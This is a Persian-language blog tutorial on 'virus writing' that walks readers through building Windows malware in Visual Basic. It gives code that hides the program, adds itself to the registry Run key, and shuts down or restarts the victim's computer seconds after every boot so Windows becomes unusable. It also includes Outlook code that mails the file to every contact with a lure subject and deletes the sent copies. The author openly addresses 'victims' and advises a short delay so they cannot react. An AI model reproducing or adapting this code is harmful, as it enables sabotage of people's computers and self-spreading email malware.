ويروس نويسي
ويروس بلاستر
امروز مي خوام کد هايي را در کنار اين ويروس ياد بدم سبب مي شود اين ويروس:.
1- پنهان باشد( نه در .....ديده بشه ونه فرم اون قابل ديدن باشه )
2- پس هر بار روشن شدن کامپيوتر بلافاصله دو باره آن را خاموش يا ريست کند
3- ويروس ياب ها ها قادر به شناسايي آن نبا شند
فکر مي کنم ويژگي هاي گفته شده به تنهايي شمارا مشتاق به امتحان ويروس مي کنه
خوب بريم سراغ کدها:
ابتدا اين کدها را در قسمت فرم کپي کنيد
() Private Sub Form_Load
"Shell "shutdown -s -t zz
End Sub
نکات:
کد بالا مخصوص خاموش کردن رايانه ي قرباني است براي رستارت کردن بايد بجاي -s قرار بدين -r
مي توانيد بجاي zz زمان لازم براي عمل کرد ويروس را قرار دهيد(بر حسب ثانيه)
براي پنهان کردن برنامه بايد عبارت زير را در form وارد کنيد.
App.TaskVisible = False
Me.Hide
خط اول براي پنهان کردن برنامه در ..taskbar و خط دوم براي پنهان فرم کردن از ديد کاربره
3- به نظر من مهمترين نياز يک ويروسه اجراي اتو ماتيک ويروسه که کدهاي زير اين نياز را برطرف مي کنه
("Set Reg = CreateObject("wscript.shell
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
حالاکد برنامه ي شما بايد مثل زير باشد
()Private Sub Form_Load
("Set Reg = CreateObject("wscript.shell
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
"Shell "shutdown -s -t zz
App.TaskVisible = False
Me.Hide
End sub
اين برنامه با فشردن F5 اجرا مي شود ولي من توصيه مي کنم اول فايل اجرايي آن را ذخيره و بعد اجرا کنيد
نکات نهايي:
1- براي اينکه فرصت عکس العمل را از قرباني بگيريد زمان عملکرد ويروس را کمتر از5 ثانيه در نظر بگيريد
2-در صورتي که زمان عملکرد را بسيار کم در نظر گرفته ايد هر گزان را اجرا نکنيد چون اولين قرباني ويروس خود خواهيد بود
3- اگر بتوانيد ويروس رادر جايي غير از درايو هاي اصلي قرباني قرار دهيد قرباني براي نجات مجبور به formatکردن کل هارد مي شود چون عملا اين ويروس استفاده از ويندوز را غير ممکن مي سازد و اگر در درايو هاي فرعي باشد اين بلا را سر سيستم عامل هاي تعويض شده هم مي آورد
ويروس ها از هر نوع که باشند حداقل در سه ويژگي مشترکند
1-پنهان بودن
2-اجراي اتوماتيک
3-توانايي توزيع خود
توانايي اول و دوم را در قبلا توضيح دادم
حالا مي رسيم به قابليت سوم يعني توانايي توزيع خودکار ويروس
براي اين کار کافيه اين کدها را در برنامه قرار بديد
("Set OutlookApp = CreateObject("Outlook.Application
If Not OutlookApp = "" Then
For Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressLists
For UserGroup = 1 To ContactSwitch.AddressEntries.Count
(Set OutlookEmail = OutlookApp.CreateItem(0
(OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup
"!OutlookEmail.Subject = "Check this out
"OutlookEmail.Body = "Look at the file in the attachments, It's great! :P
OutlookEmail.Attachments.Add WScript.ScriptFullName
OutlookEmail.DeleteAfterSubmit = True
OutlookEmail.Send
Next
Next
End If
" ! OutlookEmail.Subject = "Check this out
"OutlookEmail.Body = "Look at the file in the attachments, It's great! :P
OutlookEmail.Attachments.Add WScript.ScriptFullName
نکته:
1-در اين کدها در قسمت موضوع ومتن نامه ميتوانيد عبارت دلخواهتون را جايگزين کنيد
2-ترجيحا اين کدها بايد در قسمت Form_Load نوشته شوند
3-اين کدها به خودي خود ويروس نيستند بلکه شما بايد در کنار اين کدها کد اصلي(بد نه ي ويروس) را حتما وارد کنيد
چگونه يک کلمه را به رمز دربياورم که قابل خواندن نباشد
حال کردین حالا ۳ بار بلند بیگن ای ول حمید رضایی
 
نظر یادتون نره |
نويسندگان
